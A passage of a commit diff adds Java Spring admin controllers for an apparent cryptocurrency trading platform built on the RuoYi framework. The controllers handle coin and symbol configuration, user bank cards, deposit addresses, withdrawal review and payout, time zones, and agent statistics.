@PreAuthorize("@ss.hasPermi('bussiness:spontaneousCoin:add')")
@Log(title = "自发币种配置", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TSpontaneousCoin tSpontaneousCoin)
{
tSpontaneousCoin.setCoin(tSpontaneousCoin.getCoin().toLowerCase());
TSpontaneousCoin oldSpontaneousCoin = tSpontaneousCoinService.getOne(new LambdaQueryWrapper<TSpontaneousCoin>().eq(TSpontaneousCoin::getCoin, tSpontaneousCoin.getCoin()));
TOwnCoin tOwnCoin = tOwnCoinService.getOne(new LambdaQueryWrapper<TOwnCoin>().eq(TOwnCoin::getCoin, tSpontaneousCoin.getCoin()));
KlineSymbol oldklineSymbol = klineSymbolService.getOne(new LambdaQueryWrapper<KlineSymbol>()
.eq(KlineSymbol::getSymbol, tSpontaneousCoin.getCoin())
.and(k->k.eq(KlineSymbol::getMarket,"binance").or().eq(KlineSymbol::getMarket,"echo")));
if (Objects.nonNull(oldSpontaneousCoin) || Objects.nonNull(tOwnCoin) || Objects.nonNull(oldklineSymbol)){
return AjaxResult.error(tSpontaneousCoin.getCoin()+"已经存在");
}
return toAjax(tSpontaneousCoinService.insertTSpontaneousCoin(tSpontaneousCoin));
}
/**
* 修改自发币种配置
*/
@PreAuthorize("@ss.hasPermi('bussiness:spontaneousCoin:edit')")
@Log(title = "自发币种配置", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TSpontaneousCoin tSpontaneousCoin)
{
return toAjax(tSpontaneousCoinService.updateTSpontaneousCoin(tSpontaneousCoin));
}
/**
* 删除自发币种配置
*/
@PreAuthorize("@ss.hasPermi('bussiness:spontaneousCoin:remove')")
@Log(title = "自发币种配置", businessType = BusinessType.DELETE)
@DeleteMapping("/{id}")
public AjaxResult remove(@PathVariable Long id)
{
return toAjax(tSpontaneousCoinService.deleteTSpontaneousCoinById(id));
}
}

146
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolManageController.java

@ -0,0 +1,146 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.ruoyi.bussiness.domain.TSymbolManage;
import com.ruoyi.bussiness.service.ITSymbolManageService;
import com.ruoyi.common.utils.MessageUtils;
import com.ruoyi.common.utils.StringUtils;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.util.CollectionUtils;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 币种管理Controller
*
* @author ruoyi
* @date 2023-07-12
*/
@RestController
@RequestMapping("/bussiness/symbolmanage")
public class TSymbolManageController extends BaseController
{
@Autowired
private ITSymbolManageService tSymbolManageService;
/**
* 查询币种管理列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:list')")
@GetMapping("/list")
public TableDataInfo list(TSymbolManage tSymbolManage)
{
startPage();
List<TSymbolManage> list = tSymbolManageService.selectTSymbolManageList(tSymbolManage);
return getDataTable(list);
}
/**
* 导出币种管理列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:export')")
@Log(title = "币种管理", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TSymbolManage tSymbolManage)
{
List<TSymbolManage> list = tSymbolManageService.selectTSymbolManageList(tSymbolManage);
ExcelUtil<TSymbolManage> util = new ExcelUtil<TSymbolManage>(TSymbolManage.class);
util.exportExcel(response, list, "币种管理数据");
}
/**
* 获取币种管理详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tSymbolManageService.selectTSymbolManageById(id));
}
/**
* 新增币种管理
*/
@PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:add')")
@Log(title = "币种管理", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TSymbolManage tSymbolManage)
{
TSymbolManage oldManage = tSymbolManageService.getOne(new LambdaQueryWrapper<TSymbolManage>().eq(TSymbolManage::getSymbol, tSymbolManage.getSymbol()));
if (StringUtils.isNotNull(oldManage)){
return AjaxResult.error(tSymbolManage.getSymbol()+"币种已经存在");
}
return toAjax(tSymbolManageService.insertTSymbolManage(tSymbolManage));
}
/**
* 新增币种管理
*/
@PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:addBatch')")
@Log(title = "币种管理", businessType = BusinessType.INSERT)
@PostMapping("/addBatch")
public AjaxResult addBatch(String[] symbols)
{
String msg = "";
TSymbolManage tSymbolManage = new TSymbolManage();
tSymbolManage.setEnable("1");
List<String> oldManage = tSymbolManageService.selectSymbolList(new TSymbolManage());
if (StringUtils.isEmpty(symbols)){
return AjaxResult.error("新增币种为空");
}
if (!CollectionUtils.isEmpty(oldManage)){
for (int i = 0; i < symbols.length; i++) {
if (oldManage.contains(symbols[i])){
msg+=symbols[i]+",";
}
}
}
if (StringUtils.isNotBlank(msg)){
return AjaxResult.error("币种已经存在"+msg.substring(0,msg.length()-1));
}
tSymbolManageService.addBatch(symbols);
return AjaxResult.success();
}
/**
* 修改币种管理
*/
@PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:edit')")
@Log(title = "币种管理", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TSymbolManage tSymbolManage)
{
TSymbolManage oldManage = tSymbolManageService.getOne(new LambdaQueryWrapper<TSymbolManage>().eq(TSymbolManage::getSymbol, tSymbolManage.getSymbol()));
if (StringUtils.isNotNull(oldManage) && !oldManage.getId().equals(tSymbolManage.getId())){
return AjaxResult.error(tSymbolManage.getSymbol()+"币种已经存在");
}
return toAjax(tSymbolManageService.updateTSymbolManage(tSymbolManage));
}
/**
* 删除币种管理
*/
@PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:remove')")
@Log(title = "币种管理", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tSymbolManageService.deleteTSymbolManageByIds(ids));
}
}

104
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolsController.java

@ -0,0 +1,104 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TSymbols;
import com.ruoyi.bussiness.service.ITSymbolsService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 支持币种Controller
*
* @author ruoyi
* @date 2023-06-26
*/
@RestController
@RequestMapping("/bussiness/symbols")
public class TSymbolsController extends BaseController
{
@Autowired
private ITSymbolsService tSymbolsService;
/**
* 查询支持币种列表
*/
@PreAuthorize("@ss.hasPermi('system:symbols:list')")
@GetMapping("/list")
public TableDataInfo list(TSymbols tSymbols)
{
startPage();
List<TSymbols> list = tSymbolsService.selectTSymbolsList(tSymbols);
return getDataTable(list);
}
/**
* 导出支持币种列表
*/
@PreAuthorize("@ss.hasPermi('system:symbols:export')")
@Log(title = "支持币种", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TSymbols tSymbols)
{
List<TSymbols> list = tSymbolsService.selectTSymbolsList(tSymbols);
ExcelUtil<TSymbols> util = new ExcelUtil<TSymbols>(TSymbols.class);
util.exportExcel(response, list, "支持币种数据");
}
/**
* 获取支持币种详细信息
*/
@PreAuthorize("@ss.hasPermi('system:symbols:query')")
@GetMapping(value = "/{slug}")
public AjaxResult getInfo(@PathVariable("slug") String slug)
{
return success(tSymbolsService.selectTSymbolsBySlug(slug));
}
/**
* 新增支持币种
*/
@PreAuthorize("@ss.hasPermi('system:symbols:add')")
@Log(title = "支持币种", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TSymbols tSymbols)
{
return toAjax(tSymbolsService.insertTSymbols(tSymbols));
}
/**
* 修改支持币种
*/
@PreAuthorize("@ss.hasPermi('system:symbols:edit')")
@Log(title = "支持币种", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TSymbols tSymbols)
{
return toAjax(tSymbolsService.updateTSymbols(tSymbols));
}
/**
* 删除支持币种
*/
@PreAuthorize("@ss.hasPermi('system:symbols:remove')")
@Log(title = "支持币种", businessType = BusinessType.DELETE)
@DeleteMapping("/{slugs}")
public AjaxResult remove(@PathVariable String[] slugs)
{
return toAjax(tSymbolsService.deleteTSymbolsBySlugs(slugs));
}
}

98
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TUserBankController.java

@ -0,0 +1,98 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import java.util.Objects;
import javax.servlet.http.HttpServletResponse;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TUserBank;
import com.ruoyi.bussiness.service.ITUserBankService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 银行卡Controller
*
* @author ruoyi
* @date 2023-08-21
*/
@RestController
@RequestMapping("/bussiness/userBank")
public class TUserBankController extends BaseController
{
@Autowired
private ITUserBankService tUserBankService;
/**
* 查询银行卡列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:userBank:list')")
@GetMapping("/list")
public TableDataInfo list(TUserBank tUserBank)
{
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if(!user.isAdmin()){
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
tUserBank.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
startPage();
List<TUserBank> list = tUserBankService.selectTUserBankList(tUserBank);
return getDataTable(list);
}
/**
* 获取银行卡详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:userBank:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tUserBankService.selectTUserBankById(id));
}
/**
* 修改银行卡
*/
@PreAuthorize("@ss.hasPermi('bussiness:userBank:edit')")
@Log(title = "银行卡", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TUserBank tUserBank)
{
TUserBank oldBack = tUserBankService.getOne(new LambdaQueryWrapper<TUserBank>().eq(TUserBank::getCardNumber, tUserBank.getCardNumber()));
if (Objects.nonNull(oldBack) && oldBack.getId()!=tUserBank.getId()){
return AjaxResult.error(tUserBank.getCardNumber()+"该银行卡已经存在");
}
return toAjax(tUserBankService.updateTUserBank(tUserBank));
}
/**
* 删除银行卡
*/
@PreAuthorize("@ss.hasPermi('bussiness:userBank:remove')")
@Log(title = "银行卡", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tUserBankService.deleteTUserBankByIds(ids));
}
}

120
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TUserSymbolAddressController.java

@ -0,0 +1,120 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import java.util.Map;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.bussiness.domain.setting.ThirdPaySetting;
import com.ruoyi.bussiness.service.SettingService;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TUserSymbolAddress;
import com.ruoyi.bussiness.service.ITUserSymbolAddressService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 用户币种充值地址Controller
*
* @author ruoyi
* @date 2023-07-12
*/
@RestController
@RequestMapping("/bussiness/symbol/address")
public class TUserSymbolAddressController extends BaseController {
@Autowired
private ITUserSymbolAddressService tUserSymbolAddressService;
@Autowired
private SettingService settingService;
/**
* 查询用户币种充值地址列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:symbol/address:list')")
@GetMapping("/list")
public TableDataInfo list(TUserSymbolAddress tUserSymbolAddress) {
startPage();
List<TUserSymbolAddress> list = tUserSymbolAddressService.selectTUserSymbolAddressList(tUserSymbolAddress);
return getDataTable(list);
}
/**
* 导出用户币种充值地址列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:symbol/address:export')")
@Log(title = "用户币种充值地址", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TUserSymbolAddress tUserSymbolAddress) {
List<TUserSymbolAddress> list = tUserSymbolAddressService.selectTUserSymbolAddressList(tUserSymbolAddress);
ExcelUtil<TUserSymbolAddress> util = new ExcelUtil<TUserSymbolAddress>(TUserSymbolAddress.class);
util.exportExcel(response, list, "用户币种充值地址数据");
}
/**
* 获取用户币种充值地址详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:symbol/address:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id) {
return success(tUserSymbolAddressService.selectTUserSymbolAddressById(id));
}
/**
* 新增用户币种充值地址
*/
@PreAuthorize("@ss.hasPermi('bussiness:symbol/address:add')")
@Log(title = "用户币种充值地址", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TUserSymbolAddress tUserSymbolAddress) {
int re = tUserSymbolAddressService.insertTUserSymbolAddress(tUserSymbolAddress);
if (10001 == re) {
return AjaxResult.error("相同币种,请勿重复添加地址");
}
return toAjax(re);
}
/**
* 修改用户币种充值地址
*/
@PreAuthorize("@ss.hasPermi('bussiness:symbol/address:edit')")
@Log(title = "用户币种充值地址", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TUserSymbolAddress tUserSymbolAddress) {
return toAjax(tUserSymbolAddressService.updateTUserSymbolAddress(tUserSymbolAddress));
}
/**
* 删除用户币种充值地址
*/
@PreAuthorize("@ss.hasPermi('bussiness:symbol/address:remove')")
@Log(title = "用户币种充值地址", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids) {
return toAjax(tUserSymbolAddressService.deleteTUserSymbolAddressByIds(ids));
}
@PostMapping("/getAdress")
public AjaxResult getAdress(String coin, String symbol) {
Map<String, String> map = tUserSymbolAddressService.getAdredssByCoin(coin, symbol, getUserId());
return AjaxResult.success(map);
}
@PostMapping("/checkuType")
public AjaxResult checkuType() {
ThirdPaySetting thirdPaySetting= settingService.getThirdPaySetting("301");
return AjaxResult.success(thirdPaySetting);
}
}

237
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TWithdrawController.java

@ -0,0 +1,237 @@
package com.ruoyi.web.controller.bussiness;
import com.alibaba.fastjson.JSONObject;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.ruoyi.bussiness.domain.TWithdraw;
import com.ruoyi.bussiness.domain.setting.ThirdPaySetting;
import com.ruoyi.bussiness.service.ITWithdrawService;
import com.ruoyi.bussiness.service.SettingService;
import com.ruoyi.bussiness.service.ThirdPayOutFactory;
import com.ruoyi.bussiness.service.ThirdPayOutService;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.enums.ThirdTypeUncEmun;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.socket.socketserver.WebSocketNotice;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.web.bind.annotation.*;
import javax.annotation.Resource;
import javax.servlet.http.HttpServletResponse;
import java.util.Date;
import java.util.List;
import java.util.Objects;
/**
* 用户提现Controller
*
* @author ruoyi
* @date 2023-07-24
*/
@RestController
@RequestMapping("/bussiness/withdraw")
public class TWithdrawController extends BaseController {
@Resource
private ITWithdrawService tWithdrawService;
@Resource
private WebSocketNotice webSocketNotice;
@Resource
private SettingService settingService;
/**
* 查询用户提现列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:withdraw:list')")
@GetMapping("/list")
public TableDataInfo list(TWithdraw tWithdraw) {
startPage();
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if (!user.isAdmin()) {
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")) {
tWithdraw.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
List<TWithdraw> list = tWithdrawService.selectTWithdrawList(tWithdraw);
return getDataTable(list);
}
/**
* 导出用户提现列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:withdraw:export')")
@Log(title = "用户提现", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TWithdraw tWithdraw) {
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if (!user.isAdmin()) {
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")) {
tWithdraw.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
List<TWithdraw> list = tWithdrawService.selectTWithdrawList(tWithdraw);
ExcelUtil<TWithdraw> util = new ExcelUtil<TWithdraw>(TWithdraw.class);
util.exportExcel(response, list, "用户提现数据");
}
/**
* 获取用户提现详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:order:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id) {
return success(tWithdrawService.selectTWithdrawById(id));
}
/**
* 新增用户提现
*/
@PreAuthorize("@ss.hasPermi('bussiness:withdraw:add')")
@Log(title = "用户提现", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TWithdraw tWithdraw) {
return toAjax(tWithdrawService.insertTWithdraw(tWithdraw));
}
/**
* 修改用户提现
*/
@PreAuthorize("@ss.hasPermi('bussiness:withdraw:edit')")
@Log(title = "用户提现", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TWithdraw tWithdraw) {
return toAjax(tWithdrawService.updateTWithdraw(tWithdraw));
}
/**
* 删除用户提现
*/
@PreAuthorize("@ss.hasPermi('bussiness:withdraw:remove')")
@Log(title = "用户提现", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids) {
return toAjax(tWithdrawService.deleteTWithdrawByIds(ids));
}
// 通过只改状态, 只能审核0级用户
@PreAuthorize("@ss.hasPermi('bussiness:withdraw:edit')")
@Log(title = "提现管理.锁定", businessType = BusinessType.UPDATE)
@PostMapping("/lockorder")
public AjaxResult lockorder(@RequestBody TWithdraw wi) {
TWithdraw withdraw = tWithdrawService.getOne(new LambdaQueryWrapper<TWithdraw>().eq(TWithdraw::getId, wi.getId()));
if (withdraw.getStatus() != 0) {
return AjaxResult.error("订单状态不对,不能锁定");
}
withdraw.setStatus(3);
withdraw.setUpdateBy(getUsername());
int iwithdraw = tWithdrawService.updateTWithdraw(withdraw);
return toAjax(iwithdraw);
}
@PreAuthorize("@ss.hasPermi('bussiness:withdraw:edit')")
@Log(title = "提现管理.解锁", businessType = BusinessType.UPDATE)
@PostMapping("/unlockorder")
public AjaxResult unlockorder(@RequestBody TWithdraw wi) {
TWithdraw withdraw = tWithdrawService.getOne(new LambdaQueryWrapper<TWithdraw>().eq(TWithdraw::getId, wi.getId()));
if (withdraw.getStatus() != 3) {
return AjaxResult.error("订单状态不对,不能解锁");
}
if (!SysUser.isAdmin(getUserId()) && !withdraw.getUpdateBy().equals(getUsername())) {
return AjaxResult.error("订单已经被别人锁定");
}
withdraw.setStatus(0);
withdraw.setUpdateBy(getUsername());
int iwithdraw = tWithdrawService.updateTWithdraw(withdraw);
return toAjax(iwithdraw);
}
@PreAuthorize("@ss.hasPermi('bussiness:withdraw:edit')")
@Log(title = "提现管理.锁定判断", businessType = BusinessType.UPDATE)
@PostMapping("/tryCheck")
public AjaxResult trycheck(@RequestBody TWithdraw wi) {
TWithdraw withdraw = tWithdrawService.getOne(new LambdaQueryWrapper<TWithdraw>().eq(TWithdraw::getId, wi.getId()));
if (withdraw.getStatus() != 3) {
return AjaxResult.error("订单状态不对,不能审核");
}
if (!SysUser.isAdmin(getUserId()) && !withdraw.getUpdateBy().equals(getUsername())) {
return AjaxResult.error("订单已经被别人锁定");
}
return AjaxResult.success();
}
@Transactional
@PreAuthorize("@ss.hasPermi('bussiness:withdraw:edit')")
@Log(title = "提现管理.审核通过", businessType = BusinessType.UPDATE)
@PostMapping("/review")
public AjaxResult passOrder(@RequestBody TWithdraw wi) {
TWithdraw withdraw = tWithdrawService.getOne(new LambdaQueryWrapper<TWithdraw>().eq(TWithdraw::getId, wi.getId()));
if (withdraw.getStatus() != 3) {
return AjaxResult.error("订单状态不对,不能审核");
}
if (!SysUser.isAdmin(getUserId()) && !withdraw.getUpdateBy().equals(getUsername())) {
return AjaxResult.error("订单已经被别人锁定");
}
if (!withdraw.getToAdress().equals(wi.getToAdress())) {
return AjaxResult.error("只有提现中的订单才能修改地址!");
}
withdraw.setStatus(1);
withdraw.setUpdateBy(getUsername());
withdraw.setRemark(wi.getRemark());
withdraw.setWithDrawRemark(wi.getWithDrawRemark());
ThirdPaySetting setting = settingService.getThirdPaySetting(ThirdTypeUncEmun.UNCDUN.getValue());
if (Objects.nonNull(setting)) {
if ("0".equals(setting.getThirdWithStatu())) {
ThirdPayOutService thirdPayOutService = ThirdPayOutFactory.getThirdPayOut(setting.getCompanyName());
JSONObject re = thirdPayOutService.payOut(withdraw, setting);
if (Objects.nonNull(re)) {
if (re.getInteger("code") != 200) {
return AjaxResult.error("U盾提现异常");
}
}
}
}
int iwithdraw = tWithdrawService.updateTWithdraw(withdraw);
//socket通知
webSocketNotice.sendInfoAll(tWithdrawService, 1);
return toAjax(iwithdraw);
}
@Transactional
@PreAuthorize("@ss.hasPermi('bussiness:withdraw:edit')")
@Log(title = "提现管理.审核失败", businessType = BusinessType.UPDATE)
@PostMapping("/reject")
public AjaxResult rejectOrder(@RequestBody TWithdraw withdraw) {
String msg = tWithdrawService.rejectOrder(withdraw);
//socket通知
webSocketNotice.sendInfoAll(tWithdrawService, 1);
return AjaxResult.success(msg);
}
@PreAuthorize("@ss.hasPermi('bussiness:withdraw:list')")
@PostMapping("/getAllWithdraw")
public AjaxResult getAllWithdraw(Integer type) {
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
String parentId = "";
if (user != null) {
String userType = user.getUserType();
if (user.isAdmin() || ("0").equals(userType)) {
parentId = null;
} else {
parentId = user.getUserId().toString();
}
}
return AjaxResult.success(tWithdrawService.getAllWithdraw(parentId, type));
}
}

34
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TimeZoneController.java

@ -0,0 +1,34 @@
package com.ruoyi.web.controller.bussiness;
import com.ruoyi.common.core.domain.entity.TimeZone;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.utils.DateUtils;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.List;
/**
* @author:michael
* @createDate: 2022/9/19 16:29
*/
@RestController
@RequestMapping("/bussiness/timezone")
public class TimeZoneController extends BaseController {
@GetMapping("/list")
public AjaxResult list() {
List<TimeZone> list = DateUtils.getZoneTimeList();
for (TimeZone t : list) {
String offSet = t.getOffSet();
t.setOffSetValue(offSet.replaceAll(":",".").replaceAll("\\+0","")
.replaceAll("\\+","").replaceAll("\\-0","").replaceAll(".00",""));
t.setOffSet("GMT" + t.getOffSet());
}
return AjaxResult.success(list);
}
}

91
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/UserStatisticsController.java

@ -0,0 +1,91 @@
package com.ruoyi.web.controller.bussiness;
import com.ruoyi.bussiness.domain.TAppWalletRecord;
import com.ruoyi.bussiness.domain.vo.AgencyAppUserDataVo;
import com.ruoyi.bussiness.domain.vo.AgencyDataVo;
import com.ruoyi.bussiness.domain.vo.DailyDataVO;
import com.ruoyi.bussiness.domain.vo.UserDataVO;
import com.ruoyi.bussiness.service.ITAppWalletRecordService;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.*;
import java.util.List;
/**
* 数据源Controller
*
* @author ruoyi
* @date 2023-07-10
*/
@RestController
@RequestMapping("/bussiness/userStatistics")
public class UserStatisticsController extends BaseController
{
@Autowired
private ITAppWalletRecordService appWalletRecordService;
/**
* 查询数据源列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:userStatistics:list')")
@GetMapping("/list")
public TableDataInfo list(TAppWalletRecord appWalletRecord)
{
startPage();
List<UserDataVO> list = appWalletRecordService.selectUserDataList(appWalletRecord);
return getDataTable(list);
}
/**
* 查询代理数据源列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:userStatistics:agencyList')")
@GetMapping("/agencyList")
public TableDataInfo agencyList(TAppWalletRecord appWalletRecord)
{
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if(!user.isAdmin()){
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
appWalletRecord.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
startPage();
List<AgencyDataVo> list = appWalletRecordService.selectAgencyList(appWalletRecord);
return getDataTable(list);
}
/**
* 查询代理下级用户数据源列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:userStatistics:agencyAppUserList')")
@GetMapping("/agencyAppUserList")
public TableDataInfo agencyAppUserList(TAppWalletRecord appWalletRecord)
{
startPage();
List<AgencyAppUserDataVo> list = appWalletRecordService.selectAgencyAppUserList(appWalletRecord);
return getDataTable(list);
}
/**
* 查询数据源列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:userStatistics:dailyData')")
@GetMapping("/dailyData")
public TableDataInfo dailyData(TAppWalletRecord appWalletRecord)
{
startPage();
List<DailyDataVO> list = appWalletRecordService.dailyData(appWalletRecord);
return getDataTable(list);
}
}

79
ruoyi-admin/src/main/java/com/ruoyi/web/controller/callback/MarketCallBackController.java

@ -0,0 +1,79 @@
package com.ruoyi.web.controller.callback;
import cn.hutool.http.HttpResponse;
import cn.hutool.http.HttpUtil;
import cn.hutool.json.JSONUtil;
import com.alibaba.fastjson.JSONObject;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.ruoyi.bussiness.domain.KlineSymbol;
import com.ruoyi.bussiness.service.IKlineSymbolService;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.trc.TRC;
import com.ruoyi.common.utils.StringUtils;
import org.apache.http.client.methods.HttpPost;
import org.springframework.web.bind.annotation.*;
